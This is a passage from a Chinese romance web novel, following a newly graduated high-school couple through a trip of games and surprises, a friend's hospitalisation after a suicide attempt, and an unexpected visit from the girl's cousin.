顾鸢回她，“两个。”
“好。”店员站在凳子上取了两个给她，“这边有笔，可以把想说的话写下。”
“谢谢。”顾鸢双手接过来，拿到小桌子前坐下，把另一个放到对面，抬头看向迟瑜，“你不写吗？”
迟瑜走过去坐下，看了眼顾鸢，然后拿起笔。
两人写好之后店员指了指不远处的许愿树，“从这里走过去就到了，那边应给有梯子。”
“谢谢，这两个要……”
“钱已经付过了。”店员指了指迟瑜，“他付的。”
顾鸢抿唇往出走。
迟瑜和店员到了谢跟在顾鸢后面出来。
“真错了。”迟瑜扯了扯顾鸢的衣袖，声音低低的，“要怎么样才肯理我。”
顾鸢停下来抽出胳膊，拿出手机打字。
【今天不说话不能有肢体接触】
迟瑜：“不行。”
顾鸢眨了眨眼。
“一天不行，半天。”眼看着顾鸢又要拿手机打字，迟瑜立马又说：“你之前答应我了，高考以后不管我有什么要求你都答应。”
顾鸢瞳眸瞪大。
迟瑜缓缓说道：“以后生气了不能不说话。”
“你想好了，就这一个机会。”顾鸢以为他会用在别的愿望上，没想到这就说出来了，忽然有点后悔自己是不是过了。
“不后悔。”迟瑜上前拉住顾鸢的手，“生气归生气，你可以骂我，也可以打我，但是不能冷暴力。”
顾鸢：“惩罚不算。”
“算，对我来说都算。”迟瑜在心里骂了自己好几遍，有些耍赖地说：“反正这个不行。”
顾鸢又觉得他的要求提对了，杜绝了冷战。
“好。”
迟瑜松了口气。
顾鸢眼眸一转，“那你知道自己错哪儿了吗？”
迟瑜：“……不该拼酒。”
“还……”
顾鸢的话被打断。
“你就说说你错哪
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儿了？”那天在餐厅遇到的女生生气的问男生。
男生：“不该推开你。”
女生气的跺脚，“我在意的是推开吗，是我要做什么的时候推开？”
男生：“不该在你想亲我的时候推开你。”
女生说完别住男生的衣领往下……
顾鸢：……
生气的点好独特。
这事暂时过去，警报解除。
两人走到许愿树下，地上确实倒着一个梯子，迟瑜把风铃先给顾鸢，然后蹲下去将梯子扶起来。
“这梯子稳吗？”顾鸢有点不放心地问。
“很稳。”迟瑜把梯子立好，爬了两节朝下面伸手，“给我吧。”
顾鸢把迟瑜写的那个给他，“这个我要自己挂。”
“行。”迟瑜挂好跳了下来，双手扶住下面，偏眸对顾鸢道：“上去吧，我扶着。”
顾鸢一只手扶着，先踩了一节，没有害怕就继续往上爬了。
丝带缠绕着树枝，顾鸢绑了好几圈才放手。
一阵风吹过，风铃碰撞，发出清脆的响声，两条写着“万事顺遂”和“平安喜乐”的丝带缠绕在一起。
这会儿的太阳已经有些晒了，顾鸢拿手挡住额头，“接下来去哪儿？”
迟瑜走到前面替她遮住太阳，“回酒店。”
“不玩了吗？”
就带她出来挂个风铃。
“这会儿有点热，下午再出去。”迟瑜把梯子放回到地上，“从这边应该也可以回去。”
“好。”顾鸢主动去牵迟瑜的手，结果迟瑜避开。
顾鸢：“？”
迟瑜：“等我洗个手。”
梯子放在地上难免会沾到泥土，迟瑜洗完手过来才牵起她，随口问：“陈哲明没有再找你吧？”
顾鸢撩起眼皮觑了他一眼，“那天在电梯里你是不是看到他给我发的消息了？”
“没怎看清。”迟瑜敛下眸，问道：“那你现在知道他是什么意思了？”
“所以你昨天看到他在我旁边吃醋了。”顾鸢直言，“还装醉亲我。”
迟瑜蓦地停下来，转过头，垂眸看她，漆黑的眼底情绪翻涌如潮，过了几秒钟，鼻腔里不紧不慢嗯了声。
顾鸢的睫毛情不自禁颤了下，心里陡然空了一拍。
“我知道了，我已经跟他说清楚了。”
顾鸢说着就拿出手机就要给他看。
“你昨天晚上就拒绝他了。”迟瑜捂住她的手腕，“不然他也不会激我。”
顾鸢抿了下唇瓣，“那你现在还吃醋吗？”
迟瑜眉梢微扬，吊儿郎当地说：“你亲我一下就好了。”
顾鸢乜了他一眼，转身往前走。
迟瑜连忙跟上，“你不会是害羞了吧？”
顾鸢脚下加快。
-
中午顾鸢正躺在椅子看手机，言酥悄摸地进来，两人的视线在空中对上。
言酥嘿嘿两声，“我还以为你午睡了。”说完把手机扔到床上就去了卫生间。
好久言酥才出来，顾鸢疑惑地打量着她，“你躲什么？”
“哪有？”言酥抿了下唇，坐到顾鸢对面，“你还没看朋友圈吧？”
顾鸢摇头，“没有啊，谁发的什么？”
言酥抬了抬下巴，“你自己看。”
顾鸢点到朋友圈。
迟瑜十分钟之前发了一条，两张图片，一张是顾鸢站在梯子上绑风铃的，一张是两人牵手的，蓝色的串珠手链也拍了进去。
单看没什么问题，就是评论区。
陈哲明：恭喜
迟瑜@陈哲明：谢谢
陈哲明：我没恭喜你
迟瑜@陈哲明：哦
言酥啧啧两声，“迟瑜真挺狗的，昨天晚上你跑过去找他，他亲了一下你的额头，然后淡淡地看了陈哲明一眼，分明就是在挑衅。我要是陈哲明估计也要心塞，尤其你说完喜欢他之后，要是有条尾巴都感觉能翘上天。”
再看了眼手机的言酥，看向顾鸢的眼神难辨，“你俩不愧是一对。”
顾鸢一遍回复评论，一边说道：“这不就是官宣，我记得你和徐百川毕业聚会那天晚上就发了。”
“是这样没错。”言酥瞄了一眼顾鸢，放下手机凑到她旁边，“你有没有摸他？”
顾鸢瞳孔紧缩，“摸什么？”
“就那个啊。”言酥不好意思地撩了下头发，“我都没想到徐百川有腹肌，你别说手感还真不错。”
74. 哄你
“哦对了，今天下午有个情侣活动，要是赢了游戏就可以获得免费的温泉套餐。我们一起去啊。”
顾鸢从言酥前一秒的震惊发言中回过神来，“好啊。”
“给你看我的泳衣，我真的超级喜欢这件衣服，买回来都没有穿过。”言酥说着打开行李箱翻找。
顾鸢拿起桌子上的水杯抿了一口，正要给迟瑜发消息，没想到他先发了过来，【你男朋友被绑架了，快来救救他】
【怎么回事】
顾鸢拿上手机就往门口走。
下一秒迟瑜直接打了视频过来，“被一小孩儿讹上了。”
顾鸢：“在哪儿？”
迟瑜抬眸看了眼四周，“就在咱们早上挂风铃的这儿？没事，不着急，慢点来。”
顾鸢弯腰穿上鞋，回头跟言酥说道：“酥酥我出去一下。”
“啊，都这会儿了你去哪儿？”
“解救人质。”
“啥？”
-
这边，挂了电话，迟瑜低头看向围了自己一圈的小孩，“刚才跟你们说的都听明白了吧？”
“听明白了——”
“好，等会儿任务完成之后，那些小动物都是你们的。”迟瑜抬手指了一下用草叶变成的各种小玩意。
“哥哥放心，保证完成任务。”小男孩说着行了一个并不标准的军礼。
“去吧。”迟瑜揉了揉他的脑袋，然后对其他人说道：“你们也去准备。”
“遵命！”
-
顾鸢按着指示牌走，远远就看到了倚在树边的男生，他周围可并没有什么小孩子。
顾鸢心里有些诧异，还是走过去。
“绑架你的小孩子呢？”顾鸢看他悠闲的样子就知道是在开玩笑了。
迟瑜从身后拿出一束花给她。
顾鸢接过花束，惊讶的音量都提高了，“这么多花，你从哪里摘的？”
“花园，问了园丁可以才摘的，那天在清吧看你很喜欢。”
顾鸢更加惊讶了，“真的让你摘啊？”
迟瑜勾唇笑了下，语气散漫，“帮了他一个小忙，而且知道我是要哄女朋友，当然就答应了。”
“哄我？”
“对，哄你。”迟瑜说罢走到顾鸢身后，双手捂住她的眼睛，俯身凑到她耳畔，温声道：“等会儿再睁开。”
顾鸢伸出一只手搭在迟瑜的手腕上，声音轻轻的，“你不会还准备了什么惊喜吧？”
“对，马上就好。”
迟瑜给小朋友使了个眼色，接收到指令的孩子们拿起自己的泡泡机围着两人跑起来。
听到声音顾鸢的好奇心被勾了起来，抓着迟瑜的胳膊往下拉，“可以看了吗？”
“可以。”迟瑜任由她把手拉下来。
眼前是拿着泡泡机围了两人一圈小朋友，漫天的泡泡飘散在周身。
顾鸢瞳孔瞪大，不可置信地低喃，“这是……”
迟瑜拨开顾鸢脸颊上被风吹散的一缕头发，轻声问道：“喜欢吗？”
顾鸢莞尔，“喜欢，你什么时候准备的？”
“刚才陪你吃完饭就过来了。”看着顾鸢溢满笑容的脸，迟瑜唇角翘起，朝小朋友摆了摆手。
顾鸢抬起手指，指尖点破一颗，又有新的落下来。
迟瑜站在旁边看着她玩，忽地伸手按住顾鸢的后颈，在她的额头轻轻落下一吻。
顾鸢攥紧手里的花，浓密的睫毛扑簌了下，“你突然准备这些是因为早上我生气的事吗？”
“是也不是。”迟瑜牵着她走到树荫下，嗓音掷落下来，“惊喜本来就是有准备的，只是因为早上的事我提前了计划。不过看你很喜欢，就说明我的准备的很成功。”
顾鸢抿了下唇，撩起眼帘，“迟瑜，你为什么喜欢我？”
“那你呢？”迟瑜反问：“你为什么选我？”
“因为你很好。”顾鸢说着忽然笑了，“其实我第一次在榕西巷见你的时候，就觉得你很厉害。”
“厉害？”迟瑜挑眉，“和人打架算什么厉害？”
“可是你打赢了。”顾鸢说着眼眸发亮，“而且很帅。”
“所以你是看脸？”迟瑜微弓着背，手掌撑在膝盖上，视线平视，“要是我没长这张脸，你还会对我有印象吗？”
顾鸢认真想了想，“会。”
“因为你很好，后来在大厅遇见你，虽然你不是很情愿，但还是愿意带我去教室，而且你就是看着凶巴巴的，其实一点儿都不可怕。”
“你一开始就不怕我？”迟瑜只觉得自己发现了一块新大陆，“那你在办公室出来以后抓我手的事情还记得吗？”
“嗯？”顾鸢眨眼，“什么抓手？”
迟瑜垂眸，看她是真的忘了，哼笑了声，“顾鸢，你这是撩而不自知。”
“所以你这么纯情。”顾鸢好像没有看到迟瑜眼底的神色变深，继续说道：“不小心碰一下手不是很正常的事吗？”
迟瑜：“……”
“女朋友，能接吻吗？”
这下轮到顾鸢愣住，“你……？”
“不否认就是答应了。”迟瑜说完就按着顾鸢的后劲吻下来。
他吻的很轻，慢条斯理地研磨着唇瓣，轻一下重一下，若即若离。
顾鸢仰着脑袋，手指抓着迟瑜身侧的衣摆，脑子里突然想起言酥的话。
腹肌？
迟瑜好像是有的吧，但是她没见过，上次换衣服只看到了后背。
摸上去是什么感觉呢？
真的是硬的吗？还是软的？
顾鸢脑袋晕晕乎乎，迟瑜察觉到她的分神，轻轻咬了下唇瓣，顾鸢呜咽一声，被循着吸吮舔舐。
-
“你们玩游戏干嘛叫我，我又没女朋友。”江浩阳不满地嘟囔，“非要叫我来这里虐狗吗，太过分了，我十分严肃的谴责你们。”
徐百川搭着他的肩膀，说道：“你不知道吗？现场的单身男女也可以自由组队。”
“说不定会有人因此结缘。”言酥拿出手机给他看，“不信你看。”
徐百川朝迟瑜看了一眼，迟瑜给了他一个就是这样的眼神。
江皓阳来了兴致，走的比谁都快，言酥和徐百川也走在前面。
顾鸢直言道：“你和徐百川刚刚在眉目传情吗？”
“谁眉目传情了？”迟瑜扭头看向顾鸢，“我跟他传什么情？”
顾鸢眨眼，“不是吗？”
“当然不是。”迟瑜正打算跟她好好理论，江皓阳在手机上催了。
迟瑜双手按住顾鸢的肩膀，义正言辞地说道：“我们就是单纯的朋友关系，没有你想的那种情，我性取向正常，他也正常。”
“我知道。”顾鸢抿唇憋着笑，“你以为我想的你们是什么关系？”
“我……”迟瑜勾唇，语气玩味散漫，“故意的？”
顾鸢：“我们先过去。”
顾鸢和迟瑜到的时候言酥和徐百川已经在玩了，江皓阳也和一个女生组成了队。
这些游戏就跟闯关的一样，只要两人一起通过五关就能得到奖励。
迟瑜和顾鸢选了人比较少的一关，男生要单手抱着女生走过独木桥，中途摔下去就要重新开始。
看了眼第三次摔倒的江皓阳那组，顾鸢有点犹豫，抓着迟瑜的胳膊，仰头问他，“真要玩吗？”
“放心，不让你摔。”
顾鸢穿的还是早上的短裤，迟瑜脱下衬衫外套绑在顾鸢腰间。
顾鸢垂睫，“我看他们都是走到一半就摔了，我刚才听到有人说这关好像没几个人过去。”
绑好衣服，迟瑜双手撑在膝盖上直视着顾鸢的眼睛，“这么不相信我？”
“不是。”顾鸢摇了摇头，理直气壮地说：“我是告诉你等会儿要是摔了你就得给我当肉垫。”
迟瑜嗤地了声，“那要是没摔呢？”
“你真棒。”顾鸢抱住他的胳膊，“开始吧。”
“搂紧了。”
迟瑜说完右手抱起顾鸢，左边的胳膊打开伸直。
顾鸢搂紧他的脖子，独木桥的下面是泡沫，顾鸢看了一眼就收回目光，视线落到迟瑜脸上。
男生的脸部轮廓流畅，侧脸的咬肌紧绷着，呼吸始终保持在同一频率。
还有一点小断要到了，突然，对岸的江皓阳喊了一声，“顾姐，迟瑜早就暗恋你了。”
顾鸢的心尖蓦地跳了下，胳膊收紧，迟瑜略沉的嗓音响起，“别乱动。”
顾鸢咬唇，“你应该让江皓阳闭嘴。”
眼看着两人就要过关，江皓阳又喊道：“顾姐，迟瑜早就见过你。”
顾鸢垂眸，轻声道：“榕西巷那次不是我们第一次见面吗？”
“宝宝，这个问题咱们等会儿再讨论可以吗？”迟瑜咬肌绷紧，缓缓呼了口气，“过关了我都告诉
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你。”
顾鸢被他的称呼闹得脸颊泛红，很想说什么，但又怕打扰到他，只好抱紧他的脖子。
哪知，就剩一点儿距离的时候，江皓阳又开始说话，“顾姐—”
迟瑜脚下不稳，整个人往右边倾斜。
嘭——
两人一起掉了下去。
迟瑜将顾鸢护在怀里，真的当了一个肉垫。
短暂的惊愕之后，顾鸢抱着迟瑜的脖子抬起脑袋，担忧地问道：“你还好吧？”
“没事。”迟瑜扶着顾鸢站起来，朝旁边的江皓阳眄了一眼。
江皓阳笑嘻嘻，“哥你不行啊，毕业照那天就抱着顾姐摔了，今天怎么又摔了。”
突然提起毕业照那天的事，顾鸢脸上烫的厉害，很想找个地缝钻进去。
迟瑜拉着她的手走回去重新开始。
为了避免江皓阳再捣乱，迟瑜直接朝他喊道：“你再说我就把你第一次追女孩失败的事写成小作文发到班群里。”不等江皓阳说话迟瑜又加了句，“两个班群都发。”
江皓阳咬牙，小声嘟囔，“真记仇。”
这次没有江皓阳的捣乱，两人顺利过关。
江皓阳旁边的女生拍了拍他的肩膀，直言道：“临时的搭档，看来不行的是你。”
江皓阳的脸瞬间绿了，“你说谁不行，我们再来一次，这次肯定成功。”
“算了吧，我可不想再被摔了。”女生说完转身就走。
江皓阳立马去追，“哎你别走啊，我们再试一次。”
顾鸢还没忘记刚才江皓阳说早就认识她的事，正要问，迟瑜就说：“晚上回去再告诉你。”
顾鸢只好先作罢。
绞尽脑汁地想了很久，顾鸢还是想不起来之前在哪里见过迟瑜。
第二个游戏是检验情侣的默契度，一共十个问题两人的答案必须全部一致才能过，而且这一关如果失败就不能进行接下来的游戏。
顾鸢看到因为这一关过不了而吵架的人，就比如那边已经有三对在吵了。
“迟瑜，真要玩这关吗？”
“输了就输了，游戏而已。”迟瑜捏了捏下她的手指，“没事。”
前六个问题两人都过了，第七个问题，是两人第一次见面的地点。
顾鸢看了眼迟瑜，暗自懊恼刚才应该问清楚的，现在好了，她完全没有印象。
侍者提醒道：“答案一致也要对才能行，错的答案也是不行的。”
所以肯定不是榕西巷。
顾鸢抱着本子苦想，还能是哪儿？
一分钟时间到，顾鸢在本子上写下答案。
侍者：“答案一致，过。”
顾鸢讶然，抬眸看向迟瑜。
成功闯过五关，两人去领取了奖励。
这边，仅差一关就能得到奖励的江皓阳和女生又吵了起来。
“早知道你技术差成这样就不和你组队了，你朋友都这么厉害怎么就你不行。”
江皓阳怒道：“说的你很厉害一样，刚才答题你不是也错了，怎么好意思说我的。”
女生气的指着江皓阳的鼻子骂道：“你怎么这么小气，我就不应该和你组队。”
……
顾鸢看两人吵架看的认真，迟瑜伸手在她面前挥了挥，“别人吵架你看的这么开心。”
“我在学习。”顾鸢认真答道：“万一我们以后吵架了，我就知道要怎么说了。”
迟瑜恶趣味地捏了捏顾鸢的脸颊，“什么意思，想跟我吵架？”
顾鸢眼眸亮晶晶的，言简意赅道：“要不我们吵一架。”
迟瑜扭头，顾鸢连忙跟上，“我说真的，吵架也是增进情感的一种方式，不是说打是亲骂是爱嘛。”
侍者带着顾鸢和迟瑜走到两人的房间然后转身离开。
整个房间的灯线昏暗又带着暧昧，水面上洒满了粉色的花瓣，看到里面的布置，顾鸢和迟瑜的神色都有一瞬的怔愣。
须臾，迟瑜淡然地扭头看向顾鸢，“饿不饿，要不先吃点东西？”
“好的。”
玩了一个多小时的游戏，顾鸢早有些饿了。
为了掩饰尴尬，顾鸢在吃东西的时候尽量去找话题。
“明天回去了你打算做什么？”
闻言迟瑜忽地撩起眼皮，嗓音平淡到出奇，“什么时候走？”
啪嗒——
顾鸢手里的草莓掉在桌子上。
75. 松开
顾鸢睫羽轻颤，嗓音低的发涩，“你怎么？”
迟瑜起捡起桌子上的草莓，修长的骨节按在果肉上，指腹染上了红色的汁液，趁着暗色的灯线，莫名多了几分欲色。
房间里很安静，静到两人心跳的声音都要同频。
“你不用觉得有负担，不管你做什么，我都支持。”话音一转，迟瑜掀起眼帘，嗓音蓦地发沉，“但是顾鸢，我不分手。”
忽然，顾鸢的手机响了起来。
迟瑜起身，“我出去一下。”
顾鸢木讷地接通电话，“你好，哪位？”
姜煦庭听着她有气无力的声音，打趣道：“怎么，知道我要来这么不欢迎？”
顾鸢愣了几秒才反应过来电话对面的人是谁，“你要过来？”
“我来宁宜处理点事，如果时间够，顺便和你一起回来。”姜煦庭说完没有等来顾鸢回答又说：“到了给你打电话。”
……
顾鸢靠在池边，闭上眼睛放空思绪，忽然听轻微的脚步声。
言酥悄悄靠近，猛地抬手朝顾鸢拨了一把水。
“嗨！这么舒服啊，你都睡着了。”
“酥酥？”顾鸢讶然，“你怎么过来了？”
“迟瑜好像找徐百川有点事，我就过来找你了。”言酥说着凑到顾鸢旁边，抱着顾鸢的胳膊小声说道：“而且我就是不太自在，你懂的吧？”
顾鸢：“所以你不打算过去了？”
“你想跟迟瑜一起泡啊？”言酥的小脸一垮，“那好吧，我走了。”
“不是。”顾鸢从池子里站了起来。
言酥双眼放光，“浅浅，你的这儿，”言酥伸手比划了一下，“怎么这么大？”
顾鸢拿起毛巾披上，小脸被水汽蒸的带着绯红，像是熟透的桃子，“那你要不和迟瑜换了？”
“不要。”言酥果断拒绝，“我还相模徐百川的腹肌呢？”
顾鸢刚抿了一口水，闻言被呛得咳嗽起来，“你都是、这么直接的吗？”
言酥意味深长地打量起她，“你不会是还……”
顾鸢捂住言酥的嘴巴，“我们可以换个话题了，明天回去了你打算干什么？”
“想考驾照。然后再找个兼职，等到了大学我可要打扮的漂漂亮亮的，不能再像高中一样灰头土脸了。”言酥说着拿起桌上的水果开始吃，“你呢，打算干什么？”
顾鸢犹豫了好一会儿，说道：“等表哥忙完就跟他一起去美国。”
“啊？你还要去美国玩啊。”言酥叹了口气，“羡慕，等以后我也要去出国玩。”
顾鸢抿了抿唇，慢吞吞地出声，“我的意思是我就不回来了。”
言酥呆愣地看了顾鸢好一会儿，“不回来了，那你和迟瑜你们？”
“异国恋？”
徐百川不知道从哪里找的烟递了一根给迟瑜。迟瑜没接，仰坐在石阶上，一只手撑在身后。
晚风将声音吹散了几分，却又掷地有声，“异国怎么了，异世也不分。”
徐百川走过去坐到他旁边，“也不是我扎心，但你别忘了，国内异地都有很多情侣分手，你真的觉得你们能抗住。再或者说，你愿意等，顾鸢呢，她也愿意，四年之后你能确定她会回来？”
迟瑜冷冷的睨着他，“你可以不用说话了。”
徐百川闭上嘴巴，这时手机响了起来。
言酥：“你们聊完没有，要不你们一起，我不过去了。”
“别。”徐百川站起来往里走，“我马上回来。”走到门口，徐百川才想起迟瑜，回头朝他道：“你要在那儿坐一晚上？”
-
晚上十点，五人坐上了回宁宜的高铁。
四十分钟前，迟瑜刚从台阶上起来，就接到了曹军平的电话。
“不是我就不明白，肖毅这小子平时看着挺活波开朗的啊，怎么会自杀呢？”江皓阳抹了一把脸，整个人丧丧地靠在椅背上。
顾鸢说道：“或许他只是把真实的情绪隐藏起来了。”
迟瑜捏了捏她的手，嗓音温沉，“先眯一会儿，等到了叫你。”
顾鸢低低的应了声。
车厢里安静异常，顾鸢和言酥闭着眼睛，但都没有半点困意。迟瑜垂着脑袋在等电话，徐百川和江皓阳也沉默地坐着。
快要到宁宜的时候，顾鸢提前叫好了车，大家一下高铁就赶去了医院。
病房外面守着肖毅妈妈和曹军平，还有坐在椅子上垂着脑袋的陈哲明。
肖毅从老家回来就去了墨谦介绍的酒吧当驻唱，陈哲明去的时候两人正好碰上，就一起喝了几杯，后来肖毅接了一个电话就提前离开了。
陈哲明回家之后给肖毅发消息没有人回，打电话接的却是肖毅妈妈，听到肖毅妈妈怒气冲冲的声音，陈哲明害怕出了事就赶紧找过去了。
可是肖毅妈妈不让他进门，等陈哲明闯进去踢开肖毅房间门的时候，肖毅已经倒在血泊里了。
肖毅妈妈跪在地上哭的泣不成声，曹军平一直在安慰她。
看到顾鸢几个人过来，曹军平的腿一下就软了，迟瑜快步过去扶住他，“进去多久了？”
“一个小时十五分钟。”
陈哲明抬起脑袋，眼睛里布着明显的血丝，曾经无数次幻想过的死亡方式出现在自己眼前，陈哲明才知道他有多害怕。
原来他连死的勇气都没有。
这时急救室的门突然打开，有医生走了出来。
肖毅妈妈连忙爬起来去问：“医生，我儿子怎么样了，求求你救救我儿子，你让我做什么都可以，求你救救我儿子。”
“医院的血不够了，你们有谁是O型血吗？”
“我。”顾鸢举起手，“我是O型血，我可以。”
顾鸢跟着医生去做检查，其他人留在走廊等着，徐百川看言酥情况不好，跟大家说了一声先送她回去。
……
顾鸢刚掀起睁眼皮，头顶就响起迟瑜的声音。
“有没有哪里不舒服？”
顾鸢偏头，迟瑜扶着她坐起来。
“肖毅呢，怎么样了？”
“抢救过来了，但是还没醒，医生说没事了，别担心。”迟瑜把她脸侧的碎发拂到耳后，温声问：“先回家？”
“好。”顾鸢往前靠在迟瑜身上，嗓音低低软软，“不想走。”
迟瑜抬手揉了揉她的脑袋，转了个身蹲下朝后道：“上来。”
顾鸢勾着唇趴在迟瑜背上，属于男生的气息袭入鼻尖，顾鸢侧眸看向迟瑜。
男生侧脸的轮廓线条流畅分明，脖颈上的喉结上下滚动，顾鸢把脑袋搁在他的肩窝，轻轻阖动眼睫。
刚出门，两人就撞上了迎面而来的曹军平。
走廊里安静了一刹那，曹军平好歹是见过世面的人，清了清嗓子往前走，问迟瑜背上的顾鸢，“怎么样，有没有哪里不舒服？”
错过了最佳跳下来的时间，顾鸢心一横索性就这样任由迟瑜背着了。
“就是有点累，回去睡一觉就好了。”
“那行，正好肖毅这边也稳定下来了，我送你过去。”
顾鸢和迟瑜都沉默了一瞬。
曹军平见两人没有出声，又道：“走啊，这都快十二点了。”
车上，再次确定了顾鸢家的地址，曹军平从后视镜看向后座的两人，随口问：“顾鸢你家里阿姨在吗，回去了可以让她给你做一些吃的补补。”
顾鸢：“阿姨回家了，是我自己住。”
“这样。”曹军平瞥了眼迟瑜，又道：“那迟瑜你明天去买点食材拿到我家里，我请你们师奶给顾鸢做。”
“不用。”迟瑜淡声道：“我会做。”
曹军平又看了眼，“啊，你会，那等会儿需要我在超市门口停车吗？”
迟瑜偏眸看了眼靠在自己肩上眯上了眼睛的顾鸢，说道：“曹老师，我知道。”
曹军平自然看到顾鸢睡着了
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，说话的声音也刻意压低，“你可别欺负顾鸢，不然就算毕业了我也照样收拾你。”
迟瑜伸出手，嗓音掷地有声，“我保证绝对不会欺负她。”
曹军平怔了几秒，“你小子倒是让我刮目相看。不过自古好事多磨，如果想要走长远，那就不能只顾眼下。我也是看着你一步一走上来的，好好往前走，万事都会有结果。”
“那你的结果等到了吗？”迟瑜问：“有几次我去办公室看到你盯着手机发呆。”
曹军平沉默了几秒钟，忽地低头笑了一声，“等到了。”
-
到家之后顾鸢走到沙发上就瘫了下去，迟瑜先去给顾鸢倒了杯水，等她喝完又问：“要不要吃点东西？”
“不要。”顾鸢站起来，迟瑜作势要去扶她。
顾鸢眨眨眼，“我要去休息了。”
迟瑜没动，顾左右而言他，“零点过了。”
顾鸢：“所以？”
迟瑜：“你家有客房吧？”
顾鸢：“阿姨住了还没收拾。”
……
顾鸢回房间换了衣服躺下，原本的睡意在想到外面的沙发上还躺着一个异性时瞬间消失不见。
在床上躺了十几分钟，顾鸢掀开被子下床往外走。
拧开门出去，借着月色，顾鸢没有开灯，可是等到她走到沙发前才发现沙发上没有人。
“在看什么？”
“啊——”
顾鸢下意识手挥了出去，迟瑜来不及躲开，闷哼一声倒在地上。
安静了几秒钟之后，顾鸢打开了客厅的灯。
迟瑜曲腿坐在地上，漆黑深邃的眼沉沉的压过来。
顾鸢舔了下唇瓣，嗓音干涩，“你怎么突然在后面？”
“洗手间。”
顾鸢看向后面。
她刚才确实、好像、没有注意。
顾鸢弯腰拉着迟瑜站起来，轻声问：“你还好吗？”
迟瑜没直接回她话，而是说道：“你是不是练过？”
顾鸢沉默。
迟瑜又道：“手劲这么大，是想把我送走？”
“是你突然出声太吓人了。”顾鸢在他的注视下继续硬气地说：“而且我在沙发上没有看到人，当然害怕了。”
迟瑜走到沙发前坐下，虚虚地捂住胸口，嗓音轻飘飘的，“怎么出来了，睡不着？”
“不是。”顾鸢仔细观察着他的神色，低声道：“出来喝水。”
“等着。”迟瑜起身就要往厨房走。
“没事，我自己去。”顾鸢按住他的肩膀坐下，小跑到餐厅喝水。
回眸朝客厅看过去，迟瑜靠在椅背上，眼睛闭着，双手随意搭在身侧，姿势慵懒又肆意。
顾鸢喝完又给迟瑜倒了一杯。
察觉到身侧有人坐下，迟瑜睁开眼睫，“不舒服吗？”
“没有，你喝不喝？”顾鸢把手伸过去。
迟瑜垂下睫，握住顾鸢的手顺势就这样抿了一口，顾鸢看着他线条流畅的下颚，心间有些酥痒。
迟瑜松开手把杯子放到茶几上，扭头正要对顾鸢说话，顾鸢突然起身坐在他腿上，迟瑜大脑宕机，“做……”
顾鸢一只手捧住迟瑜的下巴，一只手搭在迟瑜肩上，学着他吻自己时候的样子，细细密密地亲着。
迟瑜没有说完的话咽了下去，一只手揽在女孩的腰间，一只手搁在腿上，微仰头，由顾鸢亲着。
忽然，迟瑜按住在腰间作乱的手，气息不稳地问她，“干什么？”
“摸一下。”顾鸢说的理直气壮。
迟瑜怔愣了好几秒，不确定地又问：“摸什么？”
顾鸢咬了下他的唇，嗓音有些急，“你松开。”
“是你别乱来。”迟瑜语气沉得像冰，掐住她的腰想要把人放下来。
顾鸢被迟瑜扭捏的模样的气到了，蓦地换了个姿势直接跨坐在他腿上，低眸时眼尾还带着不自然的红晕。
76. 轻点
“很晚了，去休息。”迟瑜气息有些不足地说。
顾鸢不做理会，垂下眼睫循着他的眼睛吻了吻，察觉到身下的人颤了下，顾鸢继续往下亲，鼻子、脸颊、唇角、下巴……
迟瑜紧闭着眼，额头青筋明显地跳着，握着纤腰的力度加重。
顾鸢痛的轻呼了声，“你轻点~”
迟瑜低咒了声，另一只手按住顾鸢的后颈重重吻下，滚烫的气息铺天盖地地落下来，顾鸢呜咽一声，被动地接受着近乎惩罚的吻。
比起初次，迟瑜真的进步了好多，原本在唇边试探的抵进，看到顾鸢没有不舒服的反应，迟瑜扣紧了女孩的腰，舌尖深入，口液吞咽的声音和吻啄声此起彼伏。
外面似乎下起了雨，水珠落在玻璃上发出连绵不绝的声音。
就在顾鸢差点要因为缺氧晕过去的时候，迟瑜稍稍退开了一点。
炙热的气息喷洒在脖颈，顾鸢只觉得脑袋晕乎乎的，可饶是这个时候，她都没有忘记自己的目的。
迟瑜不轻不重地咬了下顾鸢的耳垂，嗓音哑的发涩，“真想摸？”
“你先松开。”顾鸢喘着粗气说道。
话音刚落，顾鸢的手就被带到衣摆下面，指腹传来的温度是炽热的，手指不自觉地轻轻摩挲。
耳畔的呼吸越显粗重，顾鸢恍若未曾察觉，指腹不轻不重地按着，唇瓣一下又一下地亲着脖颈，似是觉得有趣，顾鸢瞄准突起的那一初轻轻咬了下。
迟瑜倏地掐住顾鸢的腰把她抱起放到一边，脚步慌乱的跑进卫生间。
顾鸢的大脑还处在混乱阶段，等反应过来，浴室里响起了淋淋沥沥的水声。
脸颊热的像是被烫熟了一样，身体也有些发软，稍稍缓了一会儿，顾鸢端起茶几上的水杯一饮而尽。
再次回到卧室之后很快就睡着了。
等迟瑜出来，客厅的灯还亮着，沙发上没有人，茶几上放着空掉的水杯。
不久前的场景又出现在脑海里，迟瑜低咒一声，烦躁地躺回去，把胳膊抬起来遮住眼睛，不过片刻又跑进卫生间。
-
顾鸢是被手机铃声吵醒的，迷迷糊糊地接通电话，听到手机里传出的声音吓得脑袋一空。
“我在你家门口。”姜煦庭言简意赅地说。
顾鸢掀开被子跻上拖鞋跑出去，正好碰到刚从卫生间出来的迟瑜。
“你……”
“我表哥在门口。”
迟瑜怔住。
顾鸢把他推进自己的房间，又把客厅里的行李箱也推进去，还好沙发已经收拾过了，暂时看不出什么。
顾鸢正要去开门，迟瑜拿了件外套出来塞到她手里。
顾鸢做了两个深呼吸，打开门的时候面部表情已经调整好了。
“你怎么这么早就过来了？”
姜煦庭抬眉，“你不是应该先让我进去？”
顾鸢侧身，从鞋柜里拿出一双拖鞋，看到姜煦庭手里的行李箱，顾鸢的眼皮不可控制的跳了跳，“你要住家里？”
姜煦庭四下看了眼，淡淡地反问：“你要让我住酒店？”
顾鸢噎住，她在美国那段时间都有单独的大房间，怎么可能让姜煦庭住酒店。想到家里还有个人，顾鸢说道：“可是这边比较小，不然去津湾那边？”
“不用，你这边不是有客房？而且这边也方便一点。”姜煦庭说罢朝里瞥了眼，“没收拾？”
顾鸢知道再说很容易引人怀疑，只好带着他往客房走，“前几天考试的时候阿姨住了，我还没有收拾。”
“没关系，我自己收拾。”姜煦庭把行李箱放到墙边，走到窗户前拉开窗帘。
房间里确实有人住过的痕迹，但不是最近，起码隔了几天，姜煦庭回头，“这个点已经不早了，你要不要去换件衣服下楼去吃早饭，还是冰箱里有吃的我可以做。”
“我去换衣服。”
顾鸢快步走到房间，进去的时候迟瑜正大刺刺地坐在她的梳妆台前，手里拿着那串蓝色的手链。
看到顾鸢进来，迟瑜懒懒地抬眸，“走了？”
